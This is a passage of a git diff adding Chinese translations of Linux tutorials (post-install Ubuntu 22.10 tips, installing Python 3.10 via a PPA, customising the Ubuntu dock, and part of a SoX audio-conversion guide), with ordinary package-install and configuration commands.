桌面上播放所有视频和音频格式是很重要的。如果你在设置期间跳过了额外的软件包安装,可以通过以下命令进行安装。 + +``` +sudo apt install ubuntu-restricted-extras +``` + +这可以解决 Ubuntu 中的任何视频或音频的播放问题,特别是 GNOME 视频无法播放的情况(因为GNOME 视频在默认情况下将无法播放任何内容)。 + +#### 8、安装基本的应用程序 + +带有 GNOME 的 Ubuntu 基础版本只有非常基本的应用程序。因此,在你使用 Ubuntu 之前,你需要安装一些其他必要的应用程序。 + +由于每个人的工作范围不同,每个人所需的应用程序也都不同。因此,在这里我仅提供一个通用的应用程序的列表,我认为你可以把这些应用程序都安装上,因为这些应用程序对所有人来说都很常用。 + +- GIMP – 进阶的照片编辑器 +- VLC – 无需额外编解码器即可播放任何内容的媒体播放器 +- Leafpad – 轻量级文本编辑器(甚至比默认的文本编辑器 gedit 还要更轻量级) +- Synaptic – 更好的软件包管理器 + +安装这些应用程序的命令: + +``` +sudo apt install -y gimp vlc leafpad synaptic +``` + +#### 9、获取一些 GNOME 扩展 + +你可以使用几个很酷的扩展程序,来扩展 GNOME 43 的功能,包括自定义顶部栏、托盘、更改 adwaita 外观等等。首先,使用下面的命令通过 Flatpak 来安装 GNOME 扩展管理器。 + +``` +flatpak install flathub com.mattjakeman.ExtensionManager +``` + +安装完成后,你就可以在 GNOME 扩展管理器中搜索你想要的任何扩展了。以下是一些必要扩展,你可以用它们来快速扩展 GNOME 43 的功能,我认为它们非常适合你全新的 Ubuntu 桌面。你只需在扩展管理器应用程序中,搜索这些名称即可。 + +- Caffeine +- Custom Hot Corners +- Dash to Dock +- Blur my shell +- Gradients +- Hide Activities Button +- Net speed simplified + +#### 10、准备备份 + +我们总是在我们遇到困难时,才觉得有必要备份。所以,请确保从一开始你就为备份做好了准备。理想的备份应用程序是 Timeshift,它很容易安装和使用。 + +以下是你可以从终端安装 Timeshift 的一组命令。安装完成后,你可以打开 Timeshift,并按照屏幕上的说明,设置备份了。 + +``` +sudo add-apt-repository -y ppa:teejee2008/ppasudo apt-get updatesudo apt-get install timeshift +``` + +### 额外小技巧 + +如果你想进一步定制你新安装的 Ubuntu 系统,以下是一些额外的小技巧。 + +#### 安装漂亮的字体 + +字体是一个很小却影响很大的设置项。虽然,Ubuntu 自带有好用的“Ubuntu regular”字体。 + +但是,你也可以从 Ubuntu 的官方仓库中安装一些其他漂亮的字体。以下是安装字体的一些命令。 + +``` +sudo apt install fonts-roboto fonts-cascadia-code fonts-firacode +``` + +安装完成后,你可以使用 [GNOME Tweak 工具][9],来更改字体。 + +#### 安装 TLP + +如果你经常使用笔记本电脑,那么你要好好爱惜电脑的电池。虽然电池用久了总是会损坏的,但你可以采取一些步骤,来减缓电池的老化。TLP 是 Linux 中自动优化电池使用、减缓电池老化的最好的程序之一。你可以使用以下命令来安装 TLP。 + +``` +sudo apt install tlp +``` + +我建议你将电池的电量始终保持在 50% 至 80% 之间。不要过度充电或让电池电量消耗到 50% 以下,也不要给电脑连续插电。 + +### 总结 + +以上就是安装桌面 Ubuntu 22.10 后要做的 10 件事啦。 + +我希望这篇文章会对你有帮助,你能够通过本文的方法来定制和调整你的 Ubuntu 桌面。那么你认为在安装好 Ubuntu 后,什么事是最推荐做的呢?请在评论区中告诉我吧。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/things-to-do-ubuntu-22-10/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/10/u2210-things-hd-1024x576.jpg +[2]: https://www.debugpoint.com/ubuntu-22-10/ +[3]: https://www.debugpoint.com/remove-firefox-snap-ubuntu/ +[4]: https://flathub.org/apps/details/org.mozilla.firefox +[5]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[6]: https://www.debugpoint.com/wp-content/uploads/2022/10/Turn-off-location-services-in-Ubuntu-22.10.jpg +[7]: https://www.debugpoint.com/gnome-43/ +[8]: https://www.debugpoint.com/wp-content/uploads/2022/08/Quick-Settings-Demo-in-GNOME-43.gif +[9]: https://www.debugpoint.com/customize-your-ubuntu-desktop-using-gnome-tweak/ diff --git a/published/202210/20221022.1 ⭐️ How to Install Python 3.10 in Ubuntu and Other Related Linux.md b/published/202210/20221022.1 ⭐️ How to Install Python 3.10 in Ubuntu and Other Related Linux.md new file mode 100644 index 0000000000..04f9379ddf --- /dev/null +++ b/published/202210/20221022.1 ⭐️ How to Install Python 3.10 in Ubuntu and Other Related Linux.md @@ -0,0 +1,146 @@ +[#]: subject: "How to Install Python 3.10 in Ubuntu and Other Related Linux" +[#]: via: "https://www.debugpoint.com/install-python-3-10-ubuntu/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15195-1.html" + +如何在 Ubuntu 和其他相关 Linux 中安装 Python 3.10 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/30/152139lddzddabu5u4buud.jpg) + +> 计划为工作安装 Python 3.10?以下是在 Ubuntu 和相关发行版中安装 Python 3.10 的方法。 + +Python 3.10 于 2021 年 10 月 25 日发布,具有附加功能和更新。此版本带来了更好的错误消息处理、新的模式匹配功能、类型别名TypeAlias、用户定义的类型保护等。你可以在 [此处][1] 阅读发布重点。 + +在编写本指南时,大多数当前发行版都采用 Python 3.10。例如,Ubuntu 22.04 LTS 和 Fedora 36 默认都有 Python 3.10。 + +也就是说,如果你现在在任何不支持的版本中需要 Python 3.10,你可以使用 [下面的可靠 PPA][2] 在 Ubuntu 中安装最新的 Python 3.10。下面是方法。 + +### 如何在 Ubuntu 上安装 Python 3.10 + +此 PPA 可用于 Ubuntu 21.10、Ubuntu 21.04、Ubuntu 20.04 LTS、Ubuntu 18.04 LTS 和 Linux Mint 20.x、Elementary OS 6 和其他相关的基于 Ubuntu 的发行版。这些发行版大多数默认情况下不支持 3.10。 + +打开终端并添加以下 PPA: + +``` +sudo add-apt-repository ppa:deadsnakes/ppa +``` + +使用以下命令刷新缓存: + +``` +sudo apt update +``` + +并使用以下命令安装 Python 3.10: + +``` +sudo apt install python3.10 +``` + +### 设置 Python 版本 + +将 Python 3.10 设置为默认值需要一些额外的步骤。如下。 + +> **警告**:你的 Ubuntu 系统中的许多应用程序依赖于 Python 3.9 的库存版本。因此,请确保你的工作应用(例如 GIMP、GNOME 终端等)与 Python 3.10 兼容。所以,要小心。 + +**快速提示:** 如果要检查已安装的系统包中的哪些依赖于特定版本,请使用 `apt-cache` 命令的 `rdepends` 开关。在下面的示例中,我检查哪些已安装的包依赖于 Python 3.8。 + +``` +apt-cache rdepends python3.8 +``` + +``` +[~]$ apt-cache rdepends python3.8 +python3.8 +Reverse Depends: +python3.8-dbg +virtualbox +python3.8-venv +python3.8-full +libpython3.8-testsuite +libglib2.0-tests +idle-python3.8 +idle-python3.8 +python3.8-minimal +python3.8-doc +python3.8-dev +python3.8-dbg +python3-uno +gedit +virtualbox +stimfit +python3.8-venv +python3-stfio +python3-escript-mpi +python3-escript +python3-csound +pitivi +obs-studio +liferea +libpython3.8-testsuite +libglib2.0-tests +kitty +kdevelop-python +idle-python3.8 +idle-python3.8 +rhythmbox-plugins +python3.8-minimal +python3.8-doc +python3.8-dev +python3 +python3-uno +python3-all +cluster-glue +gedit +[~]$ +``` + +#### 使用 Python 3.10 作为默认 Python3 + +首先,使用终端中的以下命令检查当前默认版本。 + +``` +python3 --version +``` + +使用 `update-alternatives` 创建指向 `python3` 的符号链接。 + +``` +sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.9 1 +``` + +``` +sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.10 2 +``` + +并通过以下命令选择使用哪一个作为 `python3`: + +``` +sudo update-alternatives --config python3 +``` + +![在 Ubuntu 中安装 Python 3.10][3] + +这就是所有步骤。现在,你可以开始在当前的 Ubuntu 版本中使用最新的 Python 进行工作/学习。你可以使用上述命令切换到库存版本并在任何时间更改版本号。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/install-python-3-10-ubuntu/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://docs.python.org/3.10/whatsnew/3.10.html +[2]: https://github.com/deadsnakes +[3]: https://www.debugpoint.com/wp-content/uploads/2021/10/Installed-Python-3.10-in-Ubuntu-1024x472.jpeg \ No newline at end of file diff --git a/published/202211/20210108 The Definitive Guide to Using and Customizing the Dock in Ubuntu.md b/published/202211/20210108 The Definitive Guide to Using and Customizing the Dock in Ubuntu.md new file mode 100644 index 0000000000..4cbc192479 --- /dev/null +++ b/published/202211/20210108 The Definitive Guide to Using and Customizing the Dock in Ubuntu.md @@ -0,0 +1,248 @@ +[#]: collector: (lujun9972) +[#]: translator: (chai001125) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15281-1.html) +[#]: subject: (The Definitive Guide to Using and Customizing the Dock in Ubuntu) +[#]: via: (https://itsfoss.com/customize-ubuntu-dock/) +[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) + +在 Ubuntu 中使用和自定义程序坞 +====== + +![][0] + +当你登录 Ubuntu 时,你会看到屏幕左侧的 程序坞/停靠栏 dock ,上面有一些应用程序的图标。程序坞(也称为 启动器 launcher ,或者 面板 panel )可以让你快速启动某个常用的应用程序。 + +![][1] + +我经常使用程序坞。在本文中,我将分享一些关于有效使用程序坞的小技巧,并介绍自定义程序坞的外观和位置的方法。 + +你将在本教程中学习到以下内容: + + * 程序坞的基本用途:添加应用程序,并使用快捷方式来启动应用程序 + * 自定义程序坞的外观:更改图标大小、图标位置 + * 更改程序坞的位置:可用于单屏和多显示器的设置 + * 在程序坞中隐藏已安装的磁盘图标 + * 自动隐藏或禁用程序坞 + * 使用 `dconf-editor` 对程序坞进行额外的定制 + * 用其他程序坞应用程序替换 Ubuntu 默认的程序坞 + +我将在教程中使用 程序坞 dock 面板 panel 启动器 launcher 等术语,它们的意思是等同的。 + +### 如何使用 Ubuntu 程序坞:你必须知道的基础知识 + +如果你是 Ubuntu 的新手,你需要掌握如何使用程序坞。尽管,在一段时间后你总会熟悉程序坞的功能,但是阅读本文能让你更快地明白。 + +#### 向程序坞添加新的应用程序(或删除应用程序) + +这一步骤十分简单。从菜单中搜索你想要添加在程序坞的应用程序,然后运行它。 + +正在运行的应用程序会显示在程序坞中,它的图标在程序坞中所有图标的下方。右键单击该图标,然后选择 “添加到收藏夹 Add to Favorites ” 选项。这会把该应用程序的图标锁定到程序坞上。 + +![Right-click on the icon and select “Add to Favorites”][2] + +从程序坞中删除应用程序的图标,操作起来更为简单。你不需要运行你想要在程序坞删除的应用程序,只需右键单击应用程序图标,然后选择 “从收藏夹中删除 Remove From Favorites ” 即可。 + +![Right-click on the icon and select “Remove from Favorites”][3] + +#### 更改程序坞中的图标顺序 + +默认情况下,新添加到程序坞的应用程序图标会放置在程序坞上的所有图标之后。但是,你也可以改变图标的位置。 + +要更改图标的顺序,你只需将它拖放到另一个位置即可,不用 “锁定位置 lock it ”,或者做其他的事情。如果你不做任何的更改,这个图标会一直停留在那个位置。 + +![Reorder Icons On Ubuntu Docks][4] + +#### 右键单击程序坞中的图标,以获取应用程序的额外选项 + +左键单击程序坞中的图标会启动应用程序,或者如果应用程序已经在运行,则这个应用程序会被聚焦,即它会出现在所有其他正在运行的应用程序窗口前面。 + +右键单击程序坞中的图标会为你提供应用程序的额外选项。不同的应用程序会有不同的选项。 + +右键单击**浏览器**图标,在它的额外选项中,你可以打开一个新的私人窗口,或预览所有正在运行的窗口。 + +![][5] + +右键单击**文件管理器**图标,在它的额外选项中,你可以查看所有已添加书签的目录,或预览打开的窗口。 + +当然,你也可以通过右键单击图标,来退出应用程序。大多数应用程序能够通过右键单击而退出,而一些应用程序(例如 Telegram 等),将被最小化到 系统托盘 system tray 中。 + +#### 使用键盘快捷键,以快速启动程序坞中的应用程序 [知道这个的人不多] + +你只需用鼠标单击程序坞上的图标,即可启动应用程序。但是,你也可以用键盘快捷键,来启动应用程序。 + +使用 `WIN`/`Super` + `数字键` 的组合,能够启动程序坞中该位置的应用程序。 + +![][6] + +如果应用程序已经在运行了,它将被聚焦。 + +由于这个功能是基于位置的,所以请不要一直对图标进行重新排序。就我个人而言,我把 Firefox 放在程序坞的第 1 个位置,文件管理器放在第 2 个位置,备用浏览器放在第 3 个位置,以此类推,直到第 9 个位置。这样,我可以使用 `Super + 2`,从而快速启动文件管理器。 + +因为我的系统连接了 3 个屏幕,所以我发现这个快速启动应用程序的功能特别好用,我不必再将鼠标移动到第一个屏幕上的程序坞上了。你也可以在其他屏幕上启用或禁用程序坞,我将在本教程的后面部分向你展示如何设置。 + +### 改变程序坞在屏幕上的位置 + +默认情况下,程序坞位于屏幕的左侧。但是,有些人喜欢将程序坞放置在屏幕底部。 + +Ubuntu 允许你更改程序坞的位置。你可以将程序坞移至底部或右侧。我不觉得有很多人真的想要把扩展坞放在了顶部,所以没有将扩展坞移到顶部的选项。 + +![Change Launcher Position][7] + +要更改程序坞位置,请进入 “设置 Settings ” 菜单,然后点击 “外观 Appearance ” ,你可以在 Dock 栏下看到一些选项,然后你可以在此处更改 “屏幕上的位置 Position on screen ” 这一设置。 + +![Go to Settings->Appearance->Dock][8] + +#### 程序坞在多显示器设置中的位置 + +如果你的系统连接了多个屏幕,你可以选择是在所有的屏幕上还是在某个选定的屏幕上,显示扩展坞。 + +![Ubuntu Dock Settings Multimonitor][9] + +对于我个人而言,我只在我的笔记本电脑屏幕上显示程序坞,因为这是我的主屏幕。这样在我的另外两个屏幕会留有最大的空间。 + +### 更改程序坞的外观 + +让我们继续看看 Ubuntu 程序坞中的更多自定义选项吧。 + +想象一下,如果你在程序坞中添加了太多的应用程序或打开了太多应用程序,那么程序坞的空间会被填满。如果你想要进入到程序坞端点处的应用程序,那么你必须滚动到程序坞顶部和底部才可以。 + +你可以更改程序坞的图标大小,来解决这个问题,这样程序坞就能够容纳更多图标来。不过,也不要让图标太小。 + +![][10] + +要更改程序坞的图标大小,请进入 “设置 Settings ” 菜单,然后点击 “外观 Appearance ” ,并通过移动 “图标大小 Icon size ” 下的滑块来更改它。默认的图标大小为 48 像素。 + +![Changing Icon Size In Ubuntu Dock][11] + +#### 在程序坞中隐藏已安装的磁盘图标 + +当你插入 U 盘或 SD 卡时,它的驱动器会安装到系统中,并且在程序坞中会立即出现一个图标。这个图标很有用,因为你可以直接通过右键单击它,来安全地删除驱动器选项。 + +![Mounted disks are displayed In the Ubuntu Dock][12] + +如果你认为在程序坞中显示已安装的磁盘图标很麻烦的话,你也可以关闭这个功能。别担心,你仍然可以从文件管理器访问已安装的驱动器。 + +打开终端,使用以下命令,来隐藏程序坞中已安装的磁盘图标: + +``` +gsettings set org.gnome.shell.extensions.dash-to-dock show-mounts false +``` + +更改会立即生效。你不再会为程序坞中显示已安装的磁盘而烦恼了。 + +如果你想要恢复默认情况,请使用以下命令: + +``` +gsettings set org.gnome.shell.extensions.dash-to-dock show-mounts true +``` + +### 改变程序坞的行为 + +接下来,让我们自定义程序坞的默认行为,使它能更适合你的需求吧。 + +#### 启用点击最小化 + +如果你单击一个正在运行的应用程序的图标,那么这个应用程序的窗口将成为焦点。当如果你**再次单击**这个图标时,将什么都不会发生。这是因为,在默认情况下,第二次点击同一图标不会最小化应用程序。 + +这是现代桌面的默认行为,但我不太喜欢,我更喜欢的是:当我**第二次点击图标时,应用程序会被最小化**。 + +如果你像我一样,那么你可能想要在 Ubuntu 中 [启用点击最小化选项][13]: + +为此,请打开终端并输入以下命令: + +``` +gsettings set org.gnome.shell.extensions.dash-to-dock click-action 'minimize' +``` + +#### 自动隐藏 Ubuntu 程序坞,以获得更多屏幕空间 + +如果你想要有最大的屏幕空间,你可以在 Ubuntu 中为程序坞启用自动隐藏选项。 + +自动隐藏选项会隐藏程序坞,你就能获得整个屏幕。不过,程序坞仍然可以使用。将光标移动到程序坞原来所在的位置,它就会再次出现。当程序坞重新出现时,它会覆盖在正在运行的应用程序窗口上。这是一件好事,否则太多元素会开始在屏幕上移动。 + +要设置程序坞自动隐藏,请进入 “设置 Settings ” 菜单,然后点击 “外观 Appearance ” ,你可以在 Dock 栏下开启 自动隐藏选项 Auto-hide the Dock ” 。 + +![Auto-hide the dock][14] + +如果你不喜欢自动隐藏程序坞的话,你可以用同样的方式禁用它。 + +#### 禁用 Ubuntu 默认的程序坞 + +Ubuntu 程序坞的自动隐藏选项对很多人来说已经足够好了,但是依旧有些用户根本不喜欢 Ubuntu 自带的程序坞。如果你也是其中的一员,你可以选择完全禁用 Ubuntu 的程序坞。 + +从 Ubuntu 20.04 开始,你可以使用 扩展应用程序 Extensions application ,来管理 [GNOME 扩展][15]。 + +![Look for Extensions app in the menu][16] + +使用这个扩展应用程序,你就可以轻松地禁用或重新启用程序坞了。 + +![Disable Ubuntu Dock][17] + +### 使用 dconf-editor 进行高级的程序坞定制 [不推荐] + +##### 请注意 + +`dconf-editor` 能让你更改 GNOME 桌面环境的几乎每个方面。这个性质喜忧参半,因为你在更改时必须小心,而且大多数设置都可以即时更改,无需确认。虽然你可以重置你的更改,但你仍可能会将系统置于难以恢复正常的状态。 + +出于这个原因,我不推荐你使用 `dconf-editor`,特别是如果你不喜欢花时间在故障排除和修复问题上,或者如果你不太熟悉 Linux 和 GNOME。 + +[dconf-editor][18] 给你提供了在 Ubuntu 中自定义程序坞的其他选项。你可以在从软件中心安装 `dconf-editor`,然后导航到 `org > gnome > shell > extensions > dash-to-dock`,在这里你会找到很多自定义程序坞的选择。 + +![][19] + +### 替换 Ubuntu 默认的程序坞 + +有几个第三方的程序坞应用程序可用于 Ubuntu 和其他 Linux 发行版。你可以安装你想要的第三方程序坞,并使用它。 + +例如,你可以从软件中心下载 “Plank dock”,并以与 Ubuntu 程序坞类似的方式来使用它。 + +![Plank Dock in Ubuntu][20] + +在这种情况下,禁用 Ubuntu 默认的程序坞会是一个更好的主意,因为同时使用多个扩展坞是不太明智的。 + +### 总结 + +本教程介绍了在 GNOME 实现中,如何自定义 Ubuntu 默认的程序坞。上述程序坞的更改在 vanilla GNOME 的程序坞上运行良好。 + +我已经向你展示了大多数常见的 Ubuntu 程序坞的定制方法。你不需要去盲目地跟随教程中的所有步骤。阅读并思考哪一个是你需要的,然后根据教程中的方法更改配置。 + +如果你不喜欢 Ubuntu 默认的程序坞,也有其他的程序坞可供试验。 + +这个教程让你学到了新东西吗?你还想看到更多这样的教程吗?欢迎你在评论区中建议和反馈。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/customize-ubuntu-dock/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/01/ubuntu-dock.png?resize=800%2C450&ssl=1 +[2]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/01/add-icons-to-dock.png?resize=800%2C450&ssl=1 +[3]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/01/remove-icons-from-dock.png?resize=800%2C450&ssl=1 +[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/01/reorder-icons-on-ubuntu-docks.gif?resize=800%2C430&ssl=1 +[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/01/right-click-icons-ubuntu-dock.png?resize=800%2C450&ssl=1 +[6]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/01/keyboard-shortcut-for-ubuntu-dock.png?resize=800%2C450&ssl=1 +[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/01/change-launcher-position-ubuntu.png?resize=800%2C450&ssl=1 +[8]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/01/change-dock-position-ubuntu.png?resize=800%2C450&ssl=1 +[9]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/01/ubuntu-dock-settings-multimonitor.png?resize=800%2C450&ssl=1 +[10]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/01/normal-icon-size-dock.jpg?resize=1024%2C1080&ssl=1 +[11]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/01/changing-icon-size-in-ubuntu-dock.png?resize=800%2C450&ssl=1 +[12]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/01/external-mounted-disks-in-ubuntu-dock.png?resize=800%2C450&ssl=1 +[13]: https://itsfoss.com/click-to-minimize-ubuntu/ +[14]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/01/autohide-dock-ubuntu.png?resize=800%2C450&ssl=1 +[15]: https://itsfoss.com/gnome-shell-extensions/ +[16]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/06/GNOME-extensions-app-ubuntu.jpg?resize=800%2C240&ssl=1 +[17]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/01/disable-dock-ubuntu.png?resize=800%2C450&ssl=1 +[18]: https://wiki.gnome.org/Apps/DconfEditor +[19]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/01/dconf-editor-dock.png?resize=592%2C599&ssl=1 +[20]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/01/plank-dock-Ubuntu.jpg?resize=800%2C382&ssl=1 +[0]: https://img.linux.net.cn/data/attachment/album/202211/23/143533heym0bybbfm0bfbj.jpg \ No newline at end of file diff --git a/published/202211/20210202 Convert audio files with this versatile Linux command.md b/published/202211/20210202 Convert audio files with this versatile Linux command.md new file mode 100644 index 0000000000..5d4010c370 --- /dev/null +++ b/published/202211/20210202 Convert audio files with this versatile Linux command.md @@ -0,0 +1,228 @@ +[#]: collector: (lujun9972) +[#]: translator: (FYJNEVERFOLLOWS) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15246-1.html) +[#]: subject: (Convert audio files with this versatile Linux command) +[#]: via: (https://opensource.com/article/20/2/linux-sox) +[#]: author: (Klaatu https://opensource.com/users/klaatu) + +使用这个多功能的 Linux 命令转换音频文件 +====== + +> SoX Sound Exchange 甚至可以为你的音频文件添加特效。 + +![](https://img.linux.net.cn/data/attachment/album/202211/13/104314skttlizoioyeaw3w.jpg) + +我工作需要使用音视频媒体,不管你处理哪种媒体,你肯定知道标准化是一种有价值的工具。就像你不会试图把一个分数加到一个小数上而不转换其中一个一样,我已经知道,把不同格式的媒体组合起来并不理想。为了方便用户,大多数爱好者级应用程序使转换过程不可见。然而,对于那些需要控制媒体细节的用户的灵活软件,会通常让你自己提前将媒体转换为所需的格式。我有一些最喜欢的音频转换工具,其中之一就是号称“音频的瑞士军刀” —— [SoX][2]。 + +### 安装 + +在 Linux 或 BSD 上,可以从软件存储库或 Ports 树中安装 `sox` 命令(,以及一些有用的符号链接)。 + +你也可以从 [Sourceforge.net][3] 上安装 SoX。它不经常发布,但它的代码库往往是稳定的,所以如果你想要最新的功能(如 Opus 支持),构建它是容易和安全的。 + +SoX 主要提供了 `sox` 命令,但是创建了一些有用的符号链接:`play`、`rec` 和 `soxi`。 + +### 使用 SoX 获取文件信息 + +SoX 可以读取和重写音频数据。它是否存储重写的音频数据取决于你。在有些情况下,你不需要存储转换后的数据,例如,当你将输出直接发送到扬声器进行回放时。然而,在进行任何转换之前,最好首先确定要处理的是什么。 + +使用 `soxi` 命令也可以收集音频文件信息。`soxi` 会符号链接到 `soxi --info`。 + +``` +$ soxi countdown.mp3 +Input File(输入文件)    : '/home/tux/countdown.mp3' +Channels(通道数)       : 1 +Sample Rate(采样率)    : 44100 +Precision(数据精度)      : 16-bit(16 比特) +Duration(时长)       : 00:00:11.21 = 494185 samples...(11.21 秒 = 494185 采样点) +File Size(文件大小)      : 179k +Bit Rate(比特率)       : 128k +Sample Encoding(编码格式): MPEG audio (layer I, II or III) +``` + +这个输出可以让你很好地了解音频文件的编码方式、文件长度、文件大小、采样率和通道数。其中一些你可能*认为*你已经知道了,但当客户把媒体带到我面前时,我从不相信这些假设。使用 `soxi` 验证媒体属性。 + +### 转换文件 + +在本例中,,一个游戏节目倒计时的音频是以MP3文件的形式提供的。虽然几乎所有的编辑应用程序都接受压缩音频,但它们并不是在压缩的数据上进行编辑。转换是在某个地方发生的,可能是一个秘密的后台任务,也可能提示让你保存一份副本。我通常喜欢自己提前完成转换。这样,我可以控制使用的格式。我可以在夜间批量处理大量的媒体,而不是浪费宝贵的制作时间,等待编辑应用程序按需处理它们。 + +`sox` 命令用于转换音频文件。在 `sox` 流程中有几个阶段: + + * 输入 + * 合并 + * 特效 + * 输出 + +但在命令语法中,特效步骤令人困惑地放到了*最后一步*。这意味着 `sox` 流程是这样组成的: + +``` +输入 → 合并 → 输出 → 特效 +``` + +### 编码 + +最简单的转换命令只涉及一个输入文件和一个输出文件。下面是转换 MP3 文件为无损 FLAC 文件的命令: + +``` +$ sox countdown.mp3 output.flac +$ soxi output.flac + +Input File(输入文件)     : 'output.flac' +Channels(通道数)       : 1 +Sample Rate(采样率)    : 44100 +Precision(数据精度)      : 16-bit(16 比特) +Duration(时长)       : 00:00:11.18 = 493056 samples...(11.18 秒 = 493056 采样点) +File Size(文件大小)      : 545k +Bit Rate(比特率)       : 390k +Sample Encoding(编码格式): 16-bit FLAC +Comment(注释)        : 'Comment=Processed by SoX' +``` + +#### 特效 + +特效可以在命令末尾指定。它可以在将数据发送到最终目的地之前更改音频。例如,有时声音太大会在转换过程中造成问题: + +``` +$ sox bad.wav bad.ogg +sox WARN sox: `bad.ogg' output clipped 126 samples; decrease volume? +``` + +应用**增益**(`gain`)效果通常可以解决此问题: + + +``` +$ sox bad.wav bad.ogg gain -1 +``` + +#### 淡入淡出 + +另一个常用的效果是**淡入淡出**(`fade`)。此效果允许你定义淡入或淡出的类型,以及你希望淡入淡出效果持续的时间。 + +下面是一个使用倒抛物线的 6 秒淡入示例: + +``` +$ sox intro.ogg intro.flac fade p 6 +``` + +这将对音频的头部应用 3 秒的淡入,并从 8 秒标记开始淡出(这段音乐只有 11 秒,因此在这种情况下淡出也是 3 秒): + +``` +$ sox intro.ogg intro.flac fade p 3 8 +``` + +`sox` 手册页中列出了不同类型的淡入淡出(正弦、线性、倒抛物线等)以及淡入淡出提供的选项。 + +#### 特效语法 + +每个特效插件都有自己的语法,因此请参阅手册页了解如何调用每个特效插件的详细信息。 + +效果可以在一个命令中以菊花链的方式进行,至少在你想组合它们的范围内是如此。换句话说,没有语法可以只在六秒钟的淡出期间应用一个镶边效果。对于如此精确的东西,你需要一个图形声波编辑器或数字音频工作站,例如 [LMMS][4] 或 [Rosegarden][5]。但是,如果你只想应用一次特效,可以在同一命令中将它们一起列出。 + +此命令应用了一个 -1 的**增益**效果、1.35 的节奏**拉伸**和**淡出**: + +``` +$ sox intro.ogg output.flac gain -1 stretch 1.35 fade p 0 6 +$ soxi output.flac + +Input File(输入文件)     : 'output.flac' +Channels(通道数)       : 1 +Sample Rate(采样率)    : 44100 +Precision(数据精度)      : 16-bit(16 比特) +Duration(时长)       : 00:00:15.10 = 665808 samples...(15.10 秒 = 665808 采样点) +File Size(文件大小)      : 712k +Bit Rate(比特率)       : 377k +Sample Encoding(编码格式): 16-bit FLAC +Comment(注释)        : 'Comment=Processed by SoX' +``` + +### 组合音频 + +SoX 还可以通过连接或混合音频文件来组合音频文件。 + +要连接(或者说*拼接*)文件合并为一个文件,请在命令中提供多个输入文件: + +``` +$ sox countdown.mp3 intro.ogg output.flac +``` + +在本例中,`output.flac` 现在包含 `countdown.mp3` 音频,紧接着是 `intro.ogg` 音乐。 + +但是,如果你希望两首曲目同时播放,可以使用 `--combine mix` 选项: + +``` +$ sox --combine mix countdown.mp3 intro.ogg output.flac +``` + +然而,想象一下,这两个输入文件的不同之处不仅仅在于它们的编解码器。人声音轨用单声道(一个声道)录制并不少见,但音乐至少要用立体声(至少两个声道)来录制。SoX 不会给出默认的解决方案,因此你必须首先自己标准化这两个文件的格式。 + +#### 更改音频文件 + +选项与后面列出文件名有关。例如,此命令中的 `--channels` 选项将*仅仅*应用于 `input.wav`,而*不被*应用于 `example.ogg` 和 **output.flac**: + +``` +$ sox --channels 2 input.wav example.ogg output.flac +``` + +这意味着在 SoX 中,选项的位置非常重要。如果你在命令开始时指定一个选项,那么实际上只会覆盖 SoX 自己从输入文件中收集的内容。然而,在*输出文件*名前的选项决定了 SoX 如何写入音频数据。 + +要解决前面的通道不兼容问题,你可以首先标准化输入,然后混合: + +``` +$ sox countdown.mp3 --channels 2 countdown-stereo.flac gain -1 +$ soxi countdown-stereo.flac + +Input File(输入文件)     : 'countdown-stereo.flac' +Channels(通道数)       : 2 +Sample Rate(采样率)    : 44100 +Precision(数据精度)      : 16-bit(16 比特) +Duration(时长)       : 00:00:11.18 = 493056 samples...(11.18 秒 = 493056 采样点) +File Size(文件大小)      : 545k +Bit Rate(比特率)       : 390k +Sample Encoding(编码格式): 16-bit FLAC +Comment(注释)        : 'Comment=Processed by SoX' + +$ sox --combine mix \ + countdown-stereo.flac 